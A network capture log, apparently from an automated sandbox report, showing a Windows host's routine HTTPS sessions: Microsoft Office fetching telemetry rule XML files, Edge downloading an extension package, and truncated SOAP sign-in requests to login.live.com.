2024-11-28 05:48:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:48 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91facc7f-401e-0064-1f3e-4054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054848Z-174f7845968kdththC1EWRzvxn0000000a9000000000eedf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054849Z-174f7845968n2hr8hC1EWR9cag0000000xhg00000000hqy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:50 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:50 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 84052cd8-a01e-000d-592e-41d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054850Z-174f7845968cpnpfhC1EWR3afc0000000xhg00000000ehm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49866	152.195.19.97	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:50 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733377708&P2=404&P3=2&P4=cqCJ3hmSFK98sQfRKgAp3t%2b4Nl9l7AupP7gvm4C0tf%2fZ46V0r2larNcfKMfW0z9iBEqUqvIExnw43B2j2gYQLg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: IANZqdeINjfYbsE6vhVeNp Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:50 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12699461 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Thu, 28 Nov 2024 05:48:50 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-28 05:48:50 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d02045fe-401e-0064-2d26-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054850Z-174f78459684bddphC1EWRbht40000000xr0000000009vr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:50 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:50 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:50 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054850Z-174f7845968nxc96hC1EWRspw80000000xp000000000ee9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:50 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:50 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:50 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054850Z-174f7845968kdththC1EWRzvxn0000000ae0000000002ccu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:50 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49869	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:50 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:50 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:51 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 953ef79b-e64b-4749-b7f1-ca579b475960 PPServer: PPV: 30 H: BL02EPF0001DA57 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:50 GMT Connection: close Content-Length: 1918
2024-11-28 05:48:51 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054851Z-174f7845968swgbqhC1EWRmnb40000000y1g00000000hb86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49870	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 05:48:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
